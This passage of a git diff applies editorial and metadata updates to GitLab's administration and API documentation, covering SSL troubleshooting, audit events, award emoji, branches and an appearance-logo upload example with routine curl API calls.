custom public certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). -- If your local GitLab instance was installed using the Helm Charts, you can [add your self-signed certificate to your GitLab instance](https://docs.gitlab.com/runner/install/kubernetes.html#providing-a-custom-certificate-for-accessing-gitlab). +- Add the self-signed certificate from the remote GitLab instance to the + `/etc/gitlab/trusted-certs` directory on the local GitLab instance, and then + run `sudo gitlab-ctl reconfigure` as per the instructions for + [installing custom public certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). +- If your local GitLab instance was installed using the Helm Charts, you can + [add your self-signed certificate to your GitLab instance](https://docs.gitlab.com/runner/install/kubernetes.html#providing-a-custom-certificate-for-accessing-gitlab). -You may also get another error when trying to mirror a repository from a remote GitLab instance that uses a self-signed certificate: +You may also get another error message when trying to mirror a repository from +a remote GitLab instance that uses a self-signed certificate: ```shell 2:Fetching remote upstream failed: fatal: unable to access &#39;https://gitlab.domain.tld/root/test-repo/&#39;: @@ -144,12 +163,16 @@ SSL: unable to obtain common name from peer certificate In this case, the problem can be related to the certificate itself: -- Double check that your self-signed certificate is not missing a common name. If it is then regenerate a valid certificate -- add it to `/etc/gitlab/trusted-certs` and run `sudo gitlab-ctl reconfigure` +1. Validate that your self-signed certificate isn't missing a common name. If it + is, regenerate a valid certificate +1. Add the certificate to `/etc/gitlab/trusted-certs`. +1. Run `sudo gitlab-ctl reconfigure`. ## Unable to perform Git operations due to an internal or self-signed certificate -If your GitLab instance is using a self-signed certificate, or the certificate is signed by an internal certificate authority (CA), you might run into the following errors when attempting to perform Git operations: +If your GitLab instance is using a self-signed certificate, or if the +certificate is signed by an internal certificate authority (CA), you might +experience the following errors when attempting to perform Git operations: ```shell $ git clone https://gitlab.domain.tld/group/project.git @@ -165,15 +188,19 @@ fatal: unable to access 'https://gitlab.domain.tld/group/project.git/': server c To fix this problem: -- If possible, use SSH remotes for all Git operations. This is considered more secure and convenient to use. +- If possible, use SSH remotes for all Git operations. This is considered more + secure and convenient to use. - If you must use HTTPS remotes, you can try the following: - - Copy the self signed certificate or the internal root CA certificate to a local directory (for example, `~/.ssl`) and configure Git to trust your certificate: + - Copy the self-signed certificate or the internal root CA certificate to a + local directory (for example, `~/.ssl`) and configure Git to trust your + certificate: ```shell git config --global http.sslCAInfo ~/.ssl/gitlab.domain.tld.crt ``` - - Disable SSL verification in your Git client. Note that this intended as a temporary measure as it could be considered a **security risk**. + - Disable SSL verification in your Git client. Note that this intended as a + temporary measure, as it could be considered a security risk. ```shell git config --global http.sslVerify false @@ -204,10 +231,10 @@ A misconfiguration may result in: message: SSL_connect returned=1 errno=0 state=error: wrong version number (OpenSSL::SSL::SSLError) ``` -Some of these errors come from the Excon Ruby gem, and could be generated in circumstances -where GitLab is configured to initiate an HTTPS session to a remote server -that is serving just HTTP. +Some of these errors come from the Excon Ruby gem, and could be generated in +circumstances where GitLab is configured to initiate an HTTPS session to a +remote server that is serving only HTTP. -One scenario is that you're using [object storage](../object_storage.md) -which is not served under HTTPS. GitLab is misconfigured and attempts a TLS handshake, +One scenario is that you're using [object storage](../object_storage.md), which +isn't served under HTTPS. GitLab is misconfigured and attempts a TLS handshake, but the object storage will respond with plain HTTP. diff --git a/doc/administration/troubleshooting/test_environments.md b/doc/administration/troubleshooting/test_environments.md index 9855a27ca30..53e51bbfe80 100644 --- a/doc/administration/troubleshooting/test_environments.md +++ b/doc/administration/troubleshooting/test_environments.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -13,7 +13,7 @@ for users with experience with these tools. If you are currently having an issue GitLab, you may want to check your [support options](https://about.gitlab.com/support/) first, before attempting to use this information. -NOTE: **Note:** +NOTE: This page was initially written for Support Engineers, so some of the links are only available internally at GitLab. @@ -103,9 +103,14 @@ docker run -d --name elasticsearch \ docker.elastic.co/elasticsearch/elasticsearch:5.5.1 ``` -Then confirm it works in the browser at `curl http://<IP_ADDRESS>:9200/_cat/health`. +Then confirm it works in the browser at `curl "http://<IP_ADDRESS>:9200/_cat/health"`. Elasticsearch's default username is `elastic` and password is `changeme`. +### Kroki + +See [our Kroki docs](../integration/kroki.md#docker) +on running Kroki in Docker. + ### PlantUML See [our PlantUML docs](../integration/plantuml.md#docker) diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md index 8840c2706d6..2981b9e1368 100644 --- a/doc/administration/troubleshooting/tracing_correlation_id.md +++ b/doc/administration/troubleshooting/tracing_correlation_id.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -56,10 +56,10 @@ interested in. ### Getting the correlation ID from curl -If you're using `curl` then you can use the verbose option to show request and response headers, as well as other debug info. +If you're using `curl` then you can use the verbose option to show request and response headers, as well as other debug information. ```shell -➜ ~ curl --verbose https://gitlab.example.com/api/v4/projects +➜ ~ curl --verbose "https://gitlab.example.com/api/v4/projects" # look for a line that looks like this < x-request-id: 4rAMkV3gof4 ``` diff --git a/doc/administration/uploads.md b/doc/administration/uploads.md index cd15301edf6..94e7bbe2cff 100644 --- a/doc/administration/uploads.md +++ b/doc/administration/uploads.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Uploads administration **(CORE ONLY)** @@ -44,7 +44,7 @@ stored locally, use the steps in this section based on your installation method: **In Omnibus GitLab installations:** -NOTE: **Note:** +NOTE: For historical reasons, uploads are stored into a base directory, which by default is `uploads/-/system`. It's strongly discouraged to change this configuration option for an existing GitLab installation. diff --git a/doc/administration/user_settings.md b/doc/administration/user_settings.md index 94ce1debfea..9892d2a0764 100644 --- a/doc/administration/user_settings.md +++ b/doc/administration/user_settings.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Modifying global user settings diff --git a/doc/administration/wikis/index.md b/doc/administration/wikis/index.md index 077b4f064dc..026f9b6f471 100644 --- a/doc/administration/wikis/index.md +++ b/doc/administration/wikis/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Create group: Knowledge -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Wiki settings **(CORE ONLY)** @@ -30,7 +30,7 @@ This setting is not available through the [Admin Area settings](../../user/admin In order to configure this setting, use either the Rails console or the [Application settings API](../../api/settings.md). -NOTE: **Note:** +NOTE: The value of the limit **must** be in bytes. The minimum value is 1024 bytes. #### Through the Rails console @@ -65,11 +65,11 @@ The process to set the wiki page size limit through the Application Settings API exactly the same as you would do to [update any other setting](../../api/settings.md#change-application-settings). ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings?wiki_page_max_content_bytes=52428800 +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?wiki_page_max_content_bytes=52428800" ``` You can also use the API to [retrieve the current value](../../api/settings.md#get-current-application-settings). ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings" ``` diff --git a/doc/analytics/README.md b/doc/analytics/README.md index c88f6b4c7cc..7c732f48ba8 100644 --- a/doc/analytics/README.md +++ b/doc/analytics/README.md @@ -3,3 +3,6 @@ redirect_to: '../user/group/index.md#user-contribution-analysis' --- This document was moved to [another location](../user/group/index.md#user-contribution-analysis) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/analytics/contribution_analytics.md b/doc/analytics/contribution_analytics.md index e36f55071a4..b9a52d9ca68 100644 --- a/doc/analytics/contribution_analytics.md +++ b/doc/analytics/contribution_analytics.md @@ -3,3 +3,6 @@ redirect_to: '../user/group/contribution_analytics/index.md' --- This document was moved to [another location](../user/group/contribution_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/README.md b/doc/api/README.md index 3933431407c..dced721b018 100644 --- a/doc/api/README.md +++ b/doc/api/README.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # API Docs @@ -97,7 +97,7 @@ HTTP/2 200 This can help you investigate an unexpected response. -### API Request that includes the exit code +### API request that includes the exit code If you want to expose the HTTP exit code, include the `--fail` option: @@ -107,11 +107,11 @@ curl: (22) The requested URL returned error: 404 ``` The HTTP exit code can help you diagnose the success or failure of your REST call. - + ## Authentication -Most API requests require authentication, or will return public data only when -authentication isn't provided. For cases where it isn't required, this will be +Most API requests require authentication, or only return public data when +authentication isn't provided. For cases where it isn't required, this is mentioned in the documentation for each individual endpoint (for example, the [`/projects/:id` endpoint](projects.md#get-single-project)). @@ -123,7 +123,7 @@ There are several methods you can use to authenticate with the GitLab API: - [Session cookie](#session-cookie) - [GitLab CI/CD job token](#gitlab-ci-job-token) **(Specific endpoints only)** -NOTE: **Note:** +NOTE: Project access tokens are supported for self-managed instances on Core and higher. They're also supported on GitLab.com Bronze and higher. @@ -133,7 +133,7 @@ to build applications or scripts that do so, the following options are available - [Impersonation tokens](#impersonation-tokens) - [Sudo](#sudo) -If authentication information is invalid or omitted, GitLab will return an error +If authentication information is invalid or omitted, GitLab returns an error message with a status code of `401`: ```json @@ -221,13 +221,13 @@ The token is valid as long as the job is running. ### Impersonation tokens Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md) -that can only be created by an admin for a specific user. They are a great fit +that can only be created by an administrator for a specific user. They are a great fit if you want to build applications or scripts that authenticate with the API as a specific user. They're an alternative to directly using the user's password or one of their personal access tokens, and to using the [Sudo](#sudo) feature, as the user's -(or admin's, in the case of Sudo) password or token may not be known, or may +(or administrator's in the case of Sudo) password or token may not be known, or may change over time. For more information, see the [users API](users.md#create-an-impersonation-token) @@ -292,7 +292,7 @@ message with a status code of `403`: } ``` -If an access token without the `sudo` scope is provided, an error message will +If an access token without the `sudo` scope is provided, an error message is be returned with a status code of `403`: ```json @@ -303,7 +303,7 @@ be returned with a status code of `403`: } ``` -If the sudo user ID or username cannot be found, an error message will be +If the sudo user ID or username cannot be found, an error message is returned with a status code of `404`: ```json @@ -357,7 +357,7 @@ The following table shows the possible return codes for API requests. | `204 No Content` | The server has successfully fulfilled the request and that there is no additional content to send in the response payload body. | | `201 Created` | The `POST` request was successful and the resource is returned as JSON. | | `304 Not Modified` | Indicates that the resource has not been modified since the last request. | -| `400 Bad Request` | A required attribute of the API request is missing, e.g., the title of an issue is not given. | +| `400 Bad Request` | A required attribute of the API request is missing. For example, the title of an issue is not given. | | `401 Unauthorized` | The user is not authenticated, a valid [user token](#authentication) is necessary. | | `403 Forbidden` | The request is not allowed. For example, the user is not allowed to delete a project. | | `404 Not Found` | A resource could not be accessed. For example, an ID for a resource could not be found. | @@ -411,7 +411,7 @@ of the issue with ID `8` which belongs to the project with ID `9`: curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2" ``` -The response will then be: +The response is: ```http HTTP/2 200 OK @@ -478,8 +478,8 @@ Status: 200 OK ... ``` -CAUTION: **Deprecation:** -The `Links` header will be removed in GitLab 14.0 to be aligned with the +WARNING: +The `Links` header is scheduled to be removed in GitLab 14.0 to be aligned with the [W3C `Link` specification](https://www.w3.org/wiki/LinkHeader). The `Link` header was [added in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33714) and should be used instead. @@ -525,8 +525,8 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git ``` Path parameters that are required to be URL-encoded must be followed. If not, -it won't match an API endpoint, and will respond with a 404. If there's -something in front of the API (for example, Apache), ensure that it won't decode +it doesn't match an API endpoint and responds with a 404. If there's +something in front of the API (for example, Apache), ensure that it doesn't decode the URL-encoded path parameters. ## Namespaced path encoding @@ -591,7 +591,7 @@ We can call the API with `array` and `hash` types parameters as follows: curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ -d "import_sources[]=github" \ -d "import_sources[]=bitbucket" \ -https://gitlab.example.com/api/v4/some_endpoint +"https://gitlab.example.com/api/v4/some_endpoint" ``` ### `hash` @@ -605,7 +605,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ --form "file=@/path/to/somefile.txt" --form "override_params[visibility]=private" \ --form "override_params[some_other_param]=some_value" \ -https://gitlab.example.com/api/v4/projects/import +"https://gitlab.example.com/api/v4/projects/import" ``` ### Array of hashes @@ -657,7 +657,7 @@ Such errors appear in the following cases: - An attribute did not pass the validation (for example, the user bio is too long). -When an attribute is missing, you will get something like: +When an attribute is missing, you receive something like: ```http HTTP/1.1 400 Bad Request @@ -667,7 +667,7 @@ Content-Type: application/json } ``` -When a validation error occurs, error messages will be different. They will hold +When a validation error occurs, error messages are different. They hold all details of validation errors: ```http @@ -706,7 +706,7 @@ follows: ## Unknown route -When you attempt to access an API URL that doesn't exist, you will receive +When you attempt to access an API URL that doesn't exist, you receive a 404 Not Found message. ```http diff --git a/doc/api/access_requests.md b/doc/api/access_requests.md index c133a362788..db68c140ae6 100644 --- a/doc/api/access_requests.md +++ b/doc/api/access_requests.md @@ -1,19 +1,21 @@ --- -stage: Create -group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +stage: Manage +group: Access +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- # Group and project access requests API -> Introduced in GitLab 8.11. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/18583) in GitLab 8.11. ## Valid access levels - The access levels are defined in the `Gitlab::Access` module. Currently, these levels are recognized: +The access levels are defined in the `Gitlab::Access` module, and the +following levels are recognized: - No access (`0`) +- Minimal access (`5`) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220203) in GitLab 13.5.) - Guest (`10`) - Reporter (`20`) - Developer (`30`) diff --git a/doc/api/admin_sidekiq_queues.md b/doc/api/admin_sidekiq_queues.md index 8e1f7260208..7f2f2b8668c 100644 --- a/doc/api/admin_sidekiq_queues.md +++ b/doc/api/admin_sidekiq_queues.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Sidekiq queues administration API **(CORE ONLY)** diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md index 7ef3b5fcbb6..c6fd5b7c45c 100644 --- a/doc/api/api_resources.md +++ b/doc/api/api_resources.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # API resources diff --git a/doc/api/appearance.md b/doc/api/appearance.md index 07d26b1a643..b33e41cf271 100644 --- a/doc/api/appearance.md +++ b/doc/api/appearance.md @@ -1,15 +1,16 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Appearance API **(CORE ONLY)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16647) in GitLab 12.7. -Appearance API allows you to maintain GitLab's appearance as if using the GitLab UI at -`/admin/appearance`. The API requires administrator privileges. +The appearance API allows you to maintain the appearance of GitLab as if +you're using the GitLab UI at `/admin/appearance`. The API requires +administrator privileges. ## Get current appearance configuration @@ -54,7 +55,7 @@ PUT /application/appearance | --------------------------------- | ------- | -------- | ----------- | | `title` | string | no | Instance title on the sign in / sign up page | `description` | string | no | Markdown text shown on the sign in / sign up page -| `logo` | mixed | no | Instance image used on the sign in / sign up page +| `logo` | mixed | no | Instance image used on the sign in / sign up page. See [Change logo](#change-logo) | `header_logo` | mixed | no | Instance image used for the main navigation bar | `favicon` | mixed | no | Instance favicon in `.ico` or `.png` format | `new_project_guidelines` | string | no | Markdown text shown on the new project page @@ -87,3 +88,36 @@ Example response: "email_header_and_footer_enabled": true } ``` + +## Change logo + +Upload a logo to your GitLab instance. + +To upload an avatar from your file system, use the `--form` argument. This causes +cURL to post data using the header `Content-Type: multipart/form-data`. The +`file=` parameter must point to an image file on your file system and be +preceded by `@`. + +```plaintext +PUT /application/appearance +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | -------------- | +| `logo` | string | Yes | File to upload | + +Example request: + +```shell +curl --location --request PUT "https://gitlab.example.com/api/v4/application/appearance?data=image/png" \ +--header "Content-Type: multipart/form-data" \ +--header "PRIVATE-TOKEN: <your_access_token>" \ +--form "logo=@/path/to/logo.png" +``` + +Returned object: + +```json +{ + "logo":"/uploads/-/system/appearance/logo/1/logo.png" +``` diff --git a/doc/api/applications.md b/doc/api/applications.md index a3216bdddde..eb4930c8721 100644 --- a/doc/api/applications.md +++ b/doc/api/applications.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Applications API @@ -13,7 +13,7 @@ Applications API operates on OAuth applications for: - [Using GitLab as an authentication provider](../integration/oauth_provider.md). - [Allowing access to GitLab resources on a user's behalf](oauth2.md). -NOTE: **Note:** +NOTE: Only admin users can use the Applications API. ## Create an application @@ -33,7 +33,7 @@ Parameters: | `name` | string | yes | Name of the application. | | `redirect_uri` | string | yes | Redirect URI of the application. | | `scopes` | string | yes | Scopes of the application. | -| `confidential` | boolean | no | The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential. Defaults to `true` if not supplied | +| `confidential` | boolean | no | The application is used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential. Defaults to `true` if not supplied | Example request: @@ -82,8 +82,8 @@ Example response: ] ``` -NOTE: **Note:** -The `secret` value will not be exposed by this API. +NOTE: +The `secret` value is not exposed by this API. ## Delete an application diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md index 5fdf0c20f1a..282c4ccfeea 100644 --- a/doc/api/audit_events.md +++ b/doc/api/audit_events.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Audit Events API @@ -132,7 +132,8 @@ Example response: The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events). -To retrieve group audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator or an owner of the group. +A user with a Owner role (or above) can retrieve group audit events of all users. +A user with a Developer or Maintainer role is limited to group audit events based on their individual actions. ### Retrieve all group audit events @@ -238,7 +239,8 @@ Example response: The Project Audit Events API allows you to retrieve [project audit events](../administration/audit_events.md#project-events). -To retrieve project audit events using the API, you must [authenticate yourself](README.md#authentication) as a Maintainer or an Owner of the project. +A user with a Maintainer role (or above) can retrieve project audit events of all users. +A user with a Developer role is limited to project audit events based on their individual actions. ### Retrieve all project audit events @@ -258,7 +260,7 @@ are paginated. Read more on [pagination](README.md#pagination). ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://primary.example.com/api/v4/projects/7/audit_events +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/projects/7/audit_events" ``` Example response: @@ -318,7 +320,7 @@ GET /projects/:id/audit_events/:audit_event_id | `audit_event_id` | integer | yes | The ID of the audit event | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://primary.example.com/api/v4/projects/7/audit_events/5 +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/projects/7/audit_events/5" ``` Example response: diff --git a/doc/api/avatar.md b/doc/api/avatar.md index aec1ba67d45..31f254c7986 100644 --- a/doc/api/avatar.md +++ b/doc/api/avatar.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Avatar API @@ -16,9 +16,9 @@ If: - No user with the given public email address is found, results from external avatar services are returned. -- Public visibility is restricted, response will be `403 Forbidden` when unauthenticated. +- Public visibility is restricted, response is `403 Forbidden` when unauthenticated. -NOTE: **Note:** +NOTE: This endpoint can be accessed without authentication. ```plaintext diff --git a/doc/api/award_emoji.md b/doc/api/award_emoji.md index 6e8739df13c..32ac6ef26ea 100644 --- a/doc/api/award_emoji.md +++ b/doc/api/award_emoji.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Award Emoji API @@ -10,21 +10,22 @@ info: To determine the technical writer assigned to the Stage/Group associated w An [awarded emoji](../user/award_emojis.md) tells a thousand words. -Emoji can be awarded on the following (known as "awardables"): +We call GitLab objects on which you can award an emoji "awardables". You can award emojis on the following: +- [Epics](../user/group/epics/index.md) ([API](epics.md)). - [Issues](../user/project/issues/index.md) ([API](issues.md)). - [Merge requests](../user/project/merge_requests/index.md) ([API](merge_requests.md)). - [Snippets](../user/snippets.md) ([API](snippets.md)). -Emoji can also [be awarded](../user/award_emojis.md#award-emoji-for-comments) on comments (also known as notes). See also [Notes API](notes.md). +Emojis can also [be awarded](../user/award_emojis.md#award-emoji-for-comments) on comments (also known as notes). See also [Notes API](notes.md). ## Issues, merge requests, and snippets See [Award Emoji on Comments](#award-emoji-on-comments) for information on using these endpoints with comments. -### List an awardable's award emoji +### List an awardable's award emojis -Get a list of all award emoji for a specified awardable. +Get a list of all award emojis for a specified awardable. ```plaintext GET /projects/:id/issues/:issue_iid/award_emoji @@ -174,10 +175,9 @@ Example Response: ### Delete an award emoji -Sometimes it's just not meant to be and you'll have to remove the award. +Sometimes it's just not meant to be and you need to remove the award. -NOTE: **Note:** -Only available to administrators or the author of the award. +Only an administrator or the author of the award can delete an award emoji. ```plaintext DELETE /projects/:id/issues/:issue_iid/award_emoji/:award_id @@ -201,14 +201,14 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git Comments (also known as notes) are a sub-resource of issues, merge requests, and snippets. -NOTE: **Note:** -The examples below describe working with award emoji on comments for an issue, but can be -easily adapted for comments on a merge request or on a snippet. Therefore, you have to replace +NOTE: +The examples below describe working with award emojis on an issue's comments, but can be +adapted to comments on merge requests and snippets. Therefore, you have to replace `issue_iid` either with `merge_request_iid` or with the `snippet_id`. -### List a comment's award emoji +### List a comment's award emojis -Get all award emoji for a comment (note). +Get all award emojis for a comment (note). ```plaintext GET /projects/:id/issues/:issue_iid/notes/:note_id/award_emoji @@ -341,10 +341,9 @@ Example response: ### Delete an award emoji from a comment -Sometimes it's just not meant to be and you'll have to remove the award. +Sometimes it's just not meant to be and you need to remove the award. -NOTE: **Note:** -Only available to administrators or the author of the award. +Only an administrator or the author of the award can delete an award emoji. ```plaintext DELETE /projects/:id/issues/:issue_iid/notes/:note_id/award_emoji/:award_id diff --git a/doc/api/boards.md b/doc/api/boards.md index 228c0ca322b..aff82daa1bf 100644 --- a/doc/api/boards.md +++ b/doc/api/boards.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project Issue Boards API @@ -423,7 +423,7 @@ POST /projects/:id/boards/:board_id/lists | `assignee_id` **(PREMIUM)** | integer | no | The ID of a user | | `milestone_id` **(PREMIUM)** | integer | no | The ID of a milestone | -NOTE: **Note:** +NOTE: Label, assignee and milestone arguments are mutually exclusive, that is, only one of them are accepted in a request. Check the [Issue Board docs](../user/project/issue_board.md) diff --git a/doc/api/branches.md b/doc/api/branches.md index fbb5368cabc..74383841272 100644 --- a/doc/api/branches.md +++ b/doc/api/branches.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -9,14 +9,13 @@ type: reference, api This API operates on [repository branches](../user/project/repository/branches/index.md). -TIP: **Tip:** See also [Protected branches API](protected_branches.md). ## List repository branches Get a list of repository branches from a project, sorted by name alphabetically. -NOTE: **Note:** +NOTE: This endpoint can be accessed without authentication if the repository is publicly accessible. ```plaintext @@ -73,7 +72,7 @@ Example response: Get a single project repository branch. -NOTE: **Note:** +NOTE: This endpoint can be accessed without authentication if the repository is publicly accessible. ```plaintext @@ -189,7 +188,7 @@ Example response: Delete a branch from the repository. -NOTE: **Note:** +NOTE: In the case of an error, an explanation message is provided. ```plaintext @@ -213,7 +212,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git Will delete all branches that are merged into the project's default branch. -NOTE: **Note:** +NOTE: [Protected branches](../user/project/protected_branches.md) will not be deleted as part of this operation. ```plaintext diff --git a/doc/api/broadcast_messages.md b/doc/api/broadcast_messages.md index f7253da297d..04b2727f575 100644 --- a/doc/api/broadcast_messages.md +++ b/doc/api/broadcast_messages.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Broadcast Messages API @@ -12,8 +12,8 @@ Broadcast messages API operates on [broadcast messages](../user/admin_area/broad As of GitLab 12.8, GET requests do not require authentication. All other broadcast message API endpoints are accessible only to administrators. Non-GET requests by: -- Guests will result in `401 Unauthorized`. -- Regular users will result in `403 Forbidden`. +- Guests result in `401 Unauthorized`. +- Regular users result in `403 Forbidden`. ## Get all broadcast messages diff --git a/doc/api/build_triggers.md b/doc/api/build_triggers.md index bad7a655d08..13adf949981 100644 --- a/doc/api/build_triggers.md +++ b/doc/api/build_triggers.md @@ -3,3 +3,6 @@ redirect_to: 'pipeline_triggers.md' --- This document was moved to [another location](pipeline_triggers.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/builds.md b/doc/api/builds.md index 0154d35cab6..b7b61e853a8 100644 --- a/doc/api/builds.md +++ b/doc/api/builds.md @@ -3,3 +3,6 @@ redirect_to: 'jobs.md' --- This document was moved to [another location](jobs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/commits.md b/doc/api/commits.md index d60acaad94d..81014956fc5 100644 --- a/doc/api/commits.md +++ b/doc/api/commits.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see 